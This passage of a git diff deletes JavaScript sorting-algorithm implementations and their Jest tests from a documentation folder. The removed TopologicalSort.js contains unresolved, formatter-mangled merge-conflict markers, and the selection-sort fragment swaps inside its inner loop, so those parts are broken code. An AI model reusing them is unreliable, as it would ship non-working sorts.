-            // Number of passes
-            let min = i; // min holds the current minimum number position for each pass; i holds the Initial min number
-            for (let j = i + 1; j < length; j++) {
-                // Note that j = i + 1 as we only need to go through unsorted array
-                if (items[j] < items[min]) {
-                    // Compare the numbers
-                    min = j; // Change the current min number position if a smaller num is found }
-                }
-                if (min !== i) {
-                    // After each pass, if the current min num != initial min num, exchange the position.
-                    // Swap the numbers
-                    [items[i], items[min]] = [items[min], items[i]];
-                }
-            }
-            return items;
-        };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/ShellSort.js b/docs/content/DS_ALGO/algorithms/Sorts/ShellSort.js
deleted file mode 100644
index e2fb1b247f..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/ShellSort.js
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Shell Sort sorts an array based on  insertion sort algorithm
- * more information: https://en.wikipedia.org/wiki/Shellsort
- *
- */
-export function shellSort(items) {
-    let interval = 1;
-    while (interval < items.length / 3) {
-        interval = interval * 3 + 1;
-    }
-    while (interval > 0) {
-        for (let outer = interval; outer < items.length; outer++) {
-            const value = items[outer];
-            let inner = outer;
-            while (inner > interval - 1 && items[inner - interval] >= value) {
-                items[inner] = items[inner - interval];
-                inner = inner - interval;
-            }
-            items[inner] = value;
-        }
-        interval = (interval - 1) / 3;
-    }
-    return items;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/TimSort.js b/docs/content/DS_ALGO/algorithms/Sorts/TimSort.js
deleted file mode 100644
index 67eab66247..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/TimSort.js
+++ /dev/null
@@ -1,107 +0,0 @@
-/**
- *  @function Timsort is a hybrid stable sorting algorithm, derived from merge sort and insertion sort,
- *  designed to perform well on many kinds of real-world data.
- *  It was implemented by Tim Peters in 2002 for use in the Python programming language.
- *  It is also used to sort arrays of non-primitive type in Java SE 7,
- *  on the Android platform, in GNU Octave, on V8, Swift and Rust.
- *  1) It sorts small partitions using Insertion Sort.
- *  2) Merges the partition using Merge Sort.
- *  @see [Timsort](https://en.wikipedia.org/wiki/Timsort)
- *  @param {Array} array
- */
-const Timsort = (array) => {
-    // Default size of a partition
-    const RUN = 32;
-    const n = array.length;
-    // Sorting the partitions using Insertion Sort
-    for (let i = 0; i < n; i += RUN) {
-        InsertionSort(array, i, Math.min(i + RUN - 1, n - 1));
-    }
-    for (let size = RUN; size < n; size *= 2) {
-        for (let left = 0; left < n; left += 2 * size) {
-            const mid = left + size - 1;
-            const right = Math.min(left + 2 * size - 1, n - 1);
-            Merge(array, left, mid, right);
-        }
-    }
-};
-/**
- * @function performs insertion sort on the partition
- * @param {Array} array array to be sorted
- * @param {Number} left left index of partition
- * @param {Number} right right index of partition
- */
-const InsertionSort = (array, left, right) => {
-    for (let i = left + 1; i <= right; i++) {
-        const key = array[i];
-        let j = i - 1;
-        while (j >= left && array[j] > key) {
-            array[j + 1] = array[j];
-            j--;
-        }
-        array[j + 1] = key;
-    }
-};
-/**
- * @function merges two sorted partitions
- * @param {Array} array array to be sorted
- * @param {Number} left left index of partition
- * @param {Number} mid mid index of partition
- * @param {Number} right right index of partition
- */
-const Merge = (array, left, mid, right) => {
-    if (mid >= right) return;
-    const len1 = mid - left + 1;
-    const len2 = right - mid;
-    const larr = Array(len1);
-    const rarr = Array(len2);
-    for (let i = 0; i < len1; i++) {
-        larr[i] = array[left + i];
-    }
-    for (let i = 0; i < len2; i++) {
-        rarr[i] = array[mid + 1 + i];
-    }
-    let i = 0;
-    let j = 0;
-    let k = left;
-    while (i < larr.length && j < rarr.length) {
-        if (larr[i] < rarr[j]) {
-            array[k++] = larr[i++];
-        } else {
-            array[k++] = rarr[j++];
-        }
-    }
-    while (i < larr.length) {
-        array[k++] = larr[i++];
-    }
-    while (j < rarr.length) {
-        array[k++] = rarr[j++];
-    }
-};
-/**
- * @example Test of Timsort functions.
- * Data is randomly generated.
- * Return "RIGHT" if it works as expected,
- * otherwise "FAULTY"
- */
-const demo = () => {
-    const size = 1000000;
-    const data = Array(size);
-    for (let i = 0; i < size; i++) {
-        data[i] = Math.random() * Number.MAX_SAFE_INTEGER;
-    }
-    const isSorted = function (array) {
-        const n = array.length;
-        for (let i = 0; i < n - 1; i++) {
-            if (array[i] > array[i + 1]) return false;
-        }
-        return true;
-    };
-    Timsort(data);
-    if (isSorted(data)) {
-        return 'RIGHT';
-    } else {
-        return 'FAULTY';
-    }
-};
-export { Timsort, demo };
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/TopologicalSort.js b/docs/content/DS_ALGO/algorithms/Sorts/TopologicalSort.js
deleted file mode 100644
index 0e114529de..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/TopologicalSort.js
+++ /dev/null
@@ -1,72 +0,0 @@
-export function TopologicalSorter() {
-    const graph = {};
-    let isVisitedNode;
-    let finishTimeCount;
-    let finishingTimeList;
-    let nextNode;
-
-    this.addOrder = function(nodeA, nodeB) {
-        nodeA = String(nodeA);
-        nodeB = String(nodeB);
-        graph[nodeA] = graph[nodeA] || [];
-        graph[nodeA].push(nodeB);
-    }; <<
-    << << < HEAD
-    this.sortAndGetOrderedItems = function() {
-            ===
-            === =
-
-            this.sortAndGetOrderedItems = function() {
-                    >>>
-                    >>> > 1 f628061e(formatting)
-                    isVisitedNode = Object.create(null);
-                    finishTimeCount = 0;
-                    finishingTimeList = [];
-                    for (const node in graph) {
-                        if (Object.prototype.hasOwnProperty.call(graph, node) && !isVisitedNode[node]) {
-                            dfsTraverse(node);
-                        }
-                    } <<
-                    << << < HEAD
-                    finishingTimeList.sort(function(item1, item2) {
-                        return item1.finishTime > item2.finishTime ? -1 : 1;
-                    });
-                    return finishingTimeList.map(function(value) {
-                            ===
-                            === =
-
-                            finishingTimeList.sort(function(item1, item2) {
-                                return item1.finishTime > item2.finishTime ? -1 : 1;
-                            });
-
-                            return finishingTimeList.map(function(value) {
-                                >>>
-                                >>> > 1 f628061e(formatting)
-                                return value.node;
-                            });
-                        };
-
-                        function dfsTraverse(node) {
-                            isVisitedNode[node] = true;
-                            if (graph[node]) {
-                                for (let i = 0; i < graph[node].length; i++) {
-                                    nextNode = graph[node][i];
-                                    if (isVisitedNode[nextNode]) continue;
-                                    dfsTraverse(nextNode);
-                                }
-                            }
-                            finishingTimeList.push({
-                                node: node,
-                                finishTime: ++finishTimeCount
-                            });
-                        }
-                    }
-                    /* TEST */
-                    // const topoSorter = new TopologicalSorter()
-                    // topoSorter.addOrder(5, 2)
-                    // topoSorter.addOrder(5, 0)
-                    // topoSorter.addOrder(4, 0)
-                    // topoSorter.addOrder(4, 1)
-                    // topoSorter.addOrder(2, 3)
-                    // topoSorter.addOrder(3, 1)
-                    // topoSorter.sortAndGetOrderedItems()
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/WiggleSort.js b/docs/content/DS_ALGO/algorithms/Sorts/WiggleSort.js
deleted file mode 100644
index a6e188d146..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/WiggleSort.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Wiggle sort sorts the array into a wave like array.
- * An array ‘arr[0..n-1]' is sorted in wave form if arr[0] >= arr[1] <= arr[2] >= arr[3] <= arr[4] >= …..
- *
- */
-export const wiggleSort = function (arr) {
-    for (let i = 0; i < arr.length; ++i) {
-        const shouldNotBeLessThan = i % 2;
-        const isLessThan = arr[i] < arr[i + 1];
-        if (shouldNotBeLessThan && isLessThan) {
-            [arr[i], arr[i + 1]] = [arr[i + 1], arr[i]];
-        }
-    }
-    return arr;
-};
-// Implementation of wiggle sort
-// > wiggleSort([3, 5, 2, 1, 6, 4])
-// [ 3, 5, 2, 6, 1, 4 ]
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/AlphaNumericalSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/AlphaNumericalSort.test.js
deleted file mode 100644
index 74112f4a70..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/AlphaNumericalSort.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import { alphaNumericalSort } from '../AlphaNumericalSort';
-describe('alphaNumericalComparer', () => {
-    test('given array of eng symbols return correct sorted array', () => {
-        const src = ['b', 'a', 'c'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['a', 'b', 'c']);
-    });
-    test('given array of numbers return correct sorted array', () => {
-        const src = ['15', '0', '5'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['0', '5', '15']);
-    });
-    test('correct sort with numbers and strings', () => {
-        const src = ['3', 'a1b15c', 'z', 'a1b14c'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['3', 'a1b14c', 'a1b15c', 'z']);
-    });
-    test('correct sort with long numbers', () => {
-        const src = ['abc999999999999999999999999999999999cba', 'abc999999999999999999999999999999990cba', 'ab'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['ab', 'abc999999999999999999999999999999990cba', 'abc999999999999999999999999999999999cba']);
-    });
-    test('correct sort with z prefix', () => {
-        const src = ['z', 'abc003def', 'abc1def', 'a'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['a', 'abc1def', 'abc003def', 'z']);
-    });
-    test('correct sort with other language', () => {
-        const src = ['а10б', 'а2б', 'в10г', 'в05г'];
-        src.sort(alphaNumericalSort);
-        expect(src).toEqual(['а2б', 'а10б', 'в05г', 'в10г']);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/BeadSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/BeadSort.test.js
deleted file mode 100644
index afa8af3152..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/BeadSort.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import { beadSort } from '../BeadSort';
-describe('BeadSort', () => {
-    it('should sort arrays correctly', () => {
-        expect(beadSort([5, 4, 3, 2, 1])).toEqual([1, 2, 3, 4, 5]);
-        expect(beadSort([7, 9, 4, 3, 5])).toEqual([3, 4, 5, 7, 9]);
-    });
-    it('should throw a RangeError when the array contains negative integers', () => {
-        expect(() => beadSort([-1, 5, 8, 4, 3, 19])).toThrow(RangeError);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/BogoSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/BogoSort.test.js
deleted file mode 100644
index 7bd0ffde9b..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/BogoSort.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { bogoSort, isSorted } from '../BogoSort';
-describe('isSorted', () => {
-    it('should return true for empty arrays', () => {
-        expect(isSorted([])).toBe(true);
-    });
-    it('should return true for single-element arrays', () => {
-        expect(isSorted([1])).toBe(true);
-    });
-    it('should return true for arrays that are properly sorted', () => {
-        expect(isSorted([1, 2, 3])).toBe(true);
-    });
-    it('should return false for arrays that are not properly sorted', () => {
-        expect(isSorted([3, 2, 1])).toBe(false);
-    });
-});
-describe('bogoSort', () => {
-    it('should (eventually) sort the array', () => {
-        expect(bogoSort([5, 6, 7, 8, 1, 2, 12, 14])).toEqual([1, 2, 5, 6, 7, 8, 12, 14]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/BubbleSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/BubbleSort.test.js
deleted file mode 100644
index 9515ff87f8..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/BubbleSort.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import { alternativeBubbleSort, bubbleSort } from '../BubbleSort';
-describe('bubbleSort', () => {
-    it('should sort arrays correctly', () => {
-        expect(bubbleSort([5, 4, 1, 2, 3])).toEqual([1, 2, 3, 4, 5]);
-        expect(bubbleSort([])).toEqual([]);
-        expect(bubbleSort([1, 2, 3])).toEqual([1, 2, 3]);
-        expect(bubbleSort([5, 6, 7, 8, 1, 2, 12, 14])).toEqual([1, 2, 5, 6, 7, 8, 12, 14]);
-        expect(bubbleSort([5, 6, 7, 8, 9, 4])).toEqual([4, 5, 6, 7, 8, 9]);
-    });
-});
-describe('alternativeBubbleSort', () => {
-    it('should sort arrays correctly', () => {
-        expect(alternativeBubbleSort([5, 4, 1, 2, 3])).toEqual([1, 2, 3, 4, 5]);
-        expect(alternativeBubbleSort([])).toEqual([]);
-        expect(alternativeBubbleSort([1, 2, 3])).toEqual([1, 2, 3]);
-        expect(alternativeBubbleSort([5, 6, 7, 8, 1, 2, 12, 14])).toEqual([1, 2, 5, 6, 7, 8, 12, 14]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/BucketSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/BucketSort.test.js
deleted file mode 100644
index b84e2661f9..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/BucketSort.test.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import { bucketSort } from '../BucketSort';
-describe('Tests for bucketSort function', () => {
-    it('should correctly sort an input list that is sorted backwards', () => {
-        const array = [5, 4, 3, 2, 1];
-        expect(bucketSort(array)).toEqual([1, 2, 3, 4, 5]);
-    });
-    it('should correctly sort an input list that is unsorted', () => {
-        const array = [15, 24, 3, 2224, 1];
-        expect(bucketSort(array)).toEqual([1, 3, 15, 24, 2224]);
-    });
-    describe('Variations of input array lengths', () => {
-        it('should return an empty list with the input list is an empty list', () => {
-            expect(bucketSort([])).toEqual([]);
-        });
-        it('should correctly sort an input list of length 1', () => {
-            expect(bucketSort([100])).toEqual([100]);
-        });
-        it('should correctly sort an input list of an odd length', () => {
-            expect(bucketSort([101, -10, 321])).toEqual([-10, 101, 321]);
-        });
-        it('should correctly sort an input list of an even length', () => {
-            expect(bucketSort([40, 42, 56, 45, 12, 3])).toEqual([3, 12, 40, 42, 45, 56]);
-        });
-    });
-    describe('Variations of input array elements', () => {
-        it('should correctly sort an input list that contains only positive numbers', () => {
-            expect(bucketSort([50, 33, 11, 2])).toEqual([2, 11, 33, 50]);
-        });
-        it('should correctly sort an input list that contains only negative numbers', () => {
-            expect(bucketSort([-1, -21, -2, -35])).toEqual([-35, -21, -2, -1]);
-        });
-        it('should correctly sort an input list that contains only a mix of positive and negative numbers', () => {
-            expect(bucketSort([-40, 42, 56, -45, 12, -3])).toEqual([-45, -40, -3, 12, 42, 56]);
-        });
-        it('should correctly sort an input list that contains only whole numbers', () => {
-            expect(bucketSort([11, 3, 12, 4, -15])).toEqual([-15, 3, 4, 11, 12]);
-        });
-        it('should correctly sort an input list that contains only decimal numbers', () => {
-            expect(bucketSort([1.0, 1.42, 2.56, 33.45, 13.12, 2.3])).toEqual([1.0, 1.42, 2.3, 2.56, 13.12, 33.45]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole and decimal', () => {
-            expect(bucketSort([32.4, 12.42, 56, 45, 12, 3])).toEqual([3, 12, 12.42, 32.4, 45, 56]);
-        });
-        it('should correctly sort an input list that contains only fractional numbers', () => {
-            expect(bucketSort([0.98, 0.4259, 0.56, -0.456, -0.12, 0.322])).toEqual([-0.456, -0.12, 0.322, 0.4259, 0.56, 0.98]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole, decimal, and fractional', () => {
-            expect(bucketSort([-40, -0.222, 5.6, -4.5, 12, 0.333])).toEqual([-40, -4.5, -0.222, 0.333, 5.6, 12]);
-        });
-        it('should correctly sort an input list that contains duplicates', () => {
-            expect(bucketSort([4, 3, 4, 2, 1, 2])).toEqual([1, 2, 2, 3, 4, 4]);
-        });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/CocktailShakerSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/CocktailShakerSort.test.js
deleted file mode 100644
index b1d518804d..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/CocktailShakerSort.test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import { cocktailShakerSort } from '../CocktailShakerSort';
-describe('CocktailShakerSort', () => {
-    it('should sort arrays correctly', () => {
-        expect(cocktailShakerSort([5, 4, 1, 2, 3])).toEqual([1, 2, 3, 4, 5]);
-        expect(cocktailShakerSort([1, 2, 3])).toEqual([1, 2, 3]);
-        expect(cocktailShakerSort([5, 6, 7, 8, 1, 2, 12, 14])).toEqual([1, 2, 5, 6, 7, 8, 12, 14]);
-    });
-    it('should work for empty arrays, too', () => {
-        expect(cocktailShakerSort([])).toEqual([]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/CombSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/CombSort.test.js
deleted file mode 100644
index 961f8f32ad..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/CombSort.test.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import { combSort } from '../CombSort';
-describe('combSort function', () => {
-    it('should correctly sort an input list that is sorted backwards', () => {
-        const array = [5, 4, 3, 2, 1];
-        expect(combSort(array)).toEqual([1, 2, 3, 4, 5]);
-    });
-    it('should correctly sort an input list that is unsorted', () => {
-        const array = [15, 24, 3, 2224, 1];
-        expect(combSort(array)).toEqual([1, 3, 15, 24, 2224]);
-    });
-    describe('Variations of input array lengths', () => {
-        it('should return an empty list with the input list is an empty list', () => {
-            expect(combSort([])).toEqual([]);
-        });
-        it('should correctly sort an input list of length 1', () => {
-            expect(combSort([100])).toEqual([100]);
-        });
-        it('should correctly sort an input list of an odd length', () => {
-            expect(combSort([101, -10, 321])).toEqual([-10, 101, 321]);
-        });
-        it('should correctly sort an input list of an even length', () => {
-            expect(combSort([40, 42, 56, 45, 12, 3])).toEqual([3, 12, 40, 42, 45, 56]);
-        });
-    });
-    describe('Variations of input array elements', () => {
-        it('should correctly sort an input list that contains only positive numbers', () => {
-            expect(combSort([50, 33, 11, 2])).toEqual([2, 11, 33, 50]);
-        });
-        it('should correctly sort an input list that contains only negative numbers', () => {
-            expect(combSort([-1, -21, -2, -35])).toEqual([-35, -21, -2, -1]);
-        });
-        it('should correctly sort an input list that contains only a mix of positive and negative numbers', () => {
-            expect(combSort([-40, 42, 56, -45, 12, -3])).toEqual([-45, -40, -3, 12, 42, 56]);
-        });
-        it('should correctly sort an input list that contains only whole numbers', () => {
-            expect(combSort([11, 3, 12, 4, -15])).toEqual([-15, 3, 4, 11, 12]);
-        });
-        it('should correctly sort an input list that contains only decimal numbers', () => {
-            expect(combSort([1.0, 1.42, 2.56, 33.45, 13.12, 2.3])).toEqual([1.0, 1.42, 2.3, 2.56, 13.12, 33.45]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole and decimal', () => {
-            expect(combSort([32.4, 12.42, 56, 45, 12, 3])).toEqual([3, 12, 12.42, 32.4, 45, 56]);
-        });
-        it('should correctly sort an input list that contains only fractional numbers', () => {
-            expect(combSort([0.98, 0.4259, 0.56, -0.456, -0.12, 0.322])).toEqual([-0.456, -0.12, 0.322, 0.4259, 0.56, 0.98]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole, decimal, and fractional', () => {
-            expect(combSort([-40, -0.222, 5.6, -4.5, 12, 0.333])).toEqual([-40, -4.5, -0.222, 0.333, 5.6, 12]);
-        });
-        it('should correctly sort an input list that contains duplicates', () => {
-            expect(combSort([4, 3, 4, 2, 1, 2])).toEqual([1, 2, 2, 3, 4, 4]);
-        });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/CycleSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/CycleSort.test.js
deleted file mode 100644
index 5f3cb8e442..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/CycleSort.test.js
+++ /dev/null
@@ -1,54 +0,0 @@
-import { cycleSort } from '../CycleSort';
-describe('cycleSort function', () => {
-    it('should correctly sort an input list that is sorted backwards', () => {
-        const array = [5, 4, 3, 2, 1];
-        expect(cycleSort(array)).toEqual([1, 2, 3, 4, 5]);
-    });
-    it('should correctly sort an input list that is unsorted', () => {
-        const array = [15, 24, 3, 2224, 1];
-        expect(cycleSort(array)).toEqual([1, 3, 15, 24, 2224]);
-    });
-    describe('Variations of input array lengths', () => {
-        it('should return an empty list with the input list is an empty list', () => {
-            expect(cycleSort([])).toEqual([]);
-        });
-        it('should correctly sort an input list of length 1', () => {
-            expect(cycleSort([100])).toEqual([100]);
-        });
-        it('should correctly sort an input list of an odd length', () => {
-            expect(cycleSort([101, -10, 321])).toEqual([-10, 101, 321]);
-        });
-        it('should correctly sort an input list of an even length', () => {
-            expect(cycleSort([40, 42, 56, 45, 12, 3])).toEqual([3, 12, 40, 42, 45, 56]);
-        });
-    });
-    describe('Variations of input array elements', () => {
-        it('should correctly sort an input list that contains only positive numbers', () => {
-            expect(cycleSort([50, 33, 11, 2])).toEqual([2, 11, 33, 50]);
-        });
-        it('should correctly sort an input list that contains only negative numbers', () => {
-            expect(cycleSort([-1, -21, -2, -35])).toEqual([-35, -21, -2, -1]);
-        });
-        it('should correctly sort an input list that contains only a mix of positive and negative numbers', () => {
-            expect(cycleSort([-40, 42, 56, -45, 12, -3])).toEqual([-45, -40, -3, 12, 42, 56]);
-        });
-        it('should correctly sort an input list that contains only whole numbers', () => {
-            expect(cycleSort([11, 3, 12, 4, -15])).toEqual([-15, 3, 4, 11, 12]);
-        });
-        it('should correctly sort an input list that contains only decimal numbers', () => {
-            expect(cycleSort([1.0, 1.42, 2.56, 33.45, 13.12, 2.3])).toEqual([1.0, 1.42, 2.3, 2.56, 13.12, 33.45]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole and decimal', () => {
-            expect(cycleSort([32.4, 12.42, 56, 45, 12, 3])).toEqual([3, 12, 12.42, 32.4, 45, 56]);
-        });
-        it('should correctly sort an input list that contains only fractional numbers', () => {
-            expect(cycleSort([0.98, 0.4259, 0.56, -0.456, -0.12, 0.322])).toEqual([-0.456, -0.12, 0.322, 0.4259, 0.56, 0.98]);
-        });
-        it('should correctly sort an input list that contains only a mix of whole, decimal, and fractional', () => {
-            expect(cycleSort([-40, -0.222, 5.6, -4.5, 12, 0.333])).toEqual([-40, -4.5, -0.222, 0.333, 5.6, 12]);
-        });
-        it('should correctly sort an input list that contains duplicates', () => {
-            expect(cycleSort([4, 3, 4, 2, 1, 2])).toEqual([1, 2, 2, 3, 4, 4]);
-        });
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/FisherYatesShuffle.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/FisherYatesShuffle.test.js
deleted file mode 100644
index 122ad88873..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/FisherYatesShuffle.test.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import { shuffle } from '../FisherYatesShuffle';
-describe('shuffle', () => {
-    it('expects to have a new array with same size', () => {
-        const fibonacci = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89];
-        const mixedArray = shuffle(fibonacci);
-        expect(mixedArray).toHaveLength(fibonacci.length);
-    });
-    it('expects to have a new array with same values', () => {
-        const fibonacci = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89];
-        const mixedArray = shuffle(fibonacci);
-        expect(mixedArray).toContain(0);
-        expect(mixedArray).toContain(1);
-        expect(mixedArray).toContain(2);
-        expect(mixedArray).toContain(3);
-        expect(mixedArray).toContain(5);
-        expect(mixedArray).toContain(8);
-        expect(mixedArray).toContain(13);
-        expect(mixedArray).toContain(21);
-        expect(mixedArray).toContain(34);
-        expect(mixedArray).toContain(55);
-        expect(mixedArray).toContain(89);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/InsertionSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/InsertionSort.test.js
deleted file mode 100644
index 34aaf8d2be..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/InsertionSort.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import { insertionSortAlternativeImplementation } from '../InsertionSort';
-describe('insertionSortAlternativeImplementation', () => {
-    it('expects to work with empty array', () => {
-        expect(insertionSortAlternativeImplementation([])).toEqual([]);
-    });
-    it('expects to return input array when array.length is less than 2', () => {
-        const input = [3];
-        expect(insertionSortAlternativeImplementation(input)).toEqual(input);
-    });
-    it('expects to return array sorted in ascending order', () => {
-        expect(insertionSortAlternativeImplementation([14, 11])).toEqual([11, 14]);
-        expect(insertionSortAlternativeImplementation([21, 22, 23])).toEqual([21, 22, 23]);
-        expect(insertionSortAlternativeImplementation([1, 3, 2, 3, 7, 2])).toEqual([1, 2, 2, 3, 3, 7]);
-        expect(insertionSortAlternativeImplementation([1, 6, 4, 5, 9, 2])).toEqual([1, 2, 4, 5, 6, 9]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/MergeSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/MergeSort.test.js
deleted file mode 100644
index 9cdefa75cb..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/MergeSort.test.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import { merge, mergeSort } from '../MergeSort';
-describe('merge', () => {
-    it('should merge arrays correctly', () => {
-        expect(merge([5, 4], [1, 2, 3])).toEqual([1, 2, 3, 5, 4]);
-        expect(merge([], [1, 2])).toEqual([1, 2]);
-        expect(merge([1, 2, 3], [1])).toEqual([1, 1, 2, 3]);
-        expect(merge([], [])).toEqual([]);
-    });
-});
-describe('MergeSort', () => {
-    it('should work for empty arrays', () => {
-        expect(mergeSort([])).toEqual([]);
-    });
-    it('should sort arrays correctly', () => {
-        expect(mergeSort([5, 4])).toEqual([4, 5]);
-        expect(mergeSort([8, 4, 10, 15, 9])).toEqual([4, 8, 9, 10, 15]);
-        expect(mergeSort([1, 2, 3])).toEqual([1, 2, 3]);
-        expect(mergeSort([10, 5, 3, 8, 2, 6, 4, 7, 9, 1])).toEqual([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/PancakeSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/PancakeSort.test.js
deleted file mode 100644
index 8545dfa243..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/PancakeSort.test.js
+++ /dev/null
@@ -1,21 +0,0 @@
-import { flipArray, findMax, pancakeSort } from '../PancakeSort';
-describe('flipArray', () => {
-    it('should flip any subarray of any array', () => {
-        expect(flipArray([1, 2, 3, 4], 0, 3)).toEqual([4, 3, 2, 1]);
-        expect(flipArray([1, 2, 3, 4, 5], 2, 4)).toEqual([1, 2, 5, 4, 3]);
-        expect(flipArray([], 0, 0)).toEqual([]);
-    });
-});
-describe('findMax', () => {
-    it('should find the index of the maximum value in any subarray of any array', () => {
-        expect(findMax([1, 3, 2, 5], 0, 3)).toEqual(3);
-        expect(findMax([1, 3, 2, 5], 0, 2)).toEqual(1);
-    });
-});
-describe('pancakeSort', () => {
-    it('should sort any array', () => {
-        expect(pancakeSort([4, 3, 2, 1])).toEqual([1, 2, 3, 4]);
-        expect(pancakeSort([3, 1, 4, 2])).toEqual([1, 2, 3, 4]);
-        expect(pancakeSort([100, 1000, 10, 1])).toEqual([1, 10, 100, 1000]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSort.test.js
deleted file mode 100644
index 88eeead63e..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSort.test.js
+++ /dev/null
@@ -1,12 +0,0 @@
-import { quickSort } from '../QuickSort';
-describe('QuickSort', () => {
-    it('should work for empty arrays', () => {
-        expect(quickSort([])).toEqual([]);
-    });
-    it('should sort arrays correctly', () => {
-        expect(quickSort([5, 4, 3, 10, 2, 1])).toEqual([1, 2, 3, 4, 5, 10]);
-        expect(quickSort([5, 4])).toEqual([4, 5]);
-        expect(quickSort([1, 2, 3])).toEqual([1, 2, 3]);
-        expect(quickSort([0, 5, 3, 2, 2])).toEqual([0, 2, 2, 3, 5]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSortRecursive.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSortRecursive.test.js
deleted file mode 100644
index d5fb2d96ac..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/QuickSortRecursive.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
-import { quickSort } from '../QuickSortRecursive';
-describe('QuickSortRecursive | Partition In Place Method', () => {
-    it('Expectedly, throw some error if we pass a non-array input', () => {
-        expect(() => quickSort('xyz', 0, 2)).toThrow('Please input a valid list or array.');
-        expect(() => quickSort(null, 0, 4)).toThrow('Please input a valid list or array.');
-        expect(() => quickSort(55, 0, 2)).toThrow('Please input a valid list or array.');
-    });
-    it('Expectedly, the quickSort method will sort the unsorted list in ascending order', () => {
-        const unSortArray = [5, 9, 3, 4, 6, 2, 0, 1, 7, 8];
-        const sortedExpectedArray = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9];
-        expect(quickSort(unSortArray, 0, unSortArray.length - 1)).toEqual(sortedExpectedArray);
-    });
-    it('Expectedly, the quickSort method will arrange the list of character values in dictionary order.', () => {
-        const unSortList = ['d', 'e', 'c', 'a', 'f', 'b'];
-        const sortedExpectedList = ['a', 'b', 'c', 'd', 'e', 'f'];
-        expect(quickSort(unSortList, 0, unSortList.length - 1)).toEqual(sortedExpectedList);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/Sorts/test/SelectionSort.test.js b/docs/content/DS_ALGO/algorithms/Sorts/test/SelectionSort.test.js
deleted file mode 100644
index a5eb382fcf..0000000000
--- a/docs/content/DS_ALGO/algorithms/Sorts/test/SelectionSort.test.js
+++ /dev/null
@@ -1,18 +0,0 @@
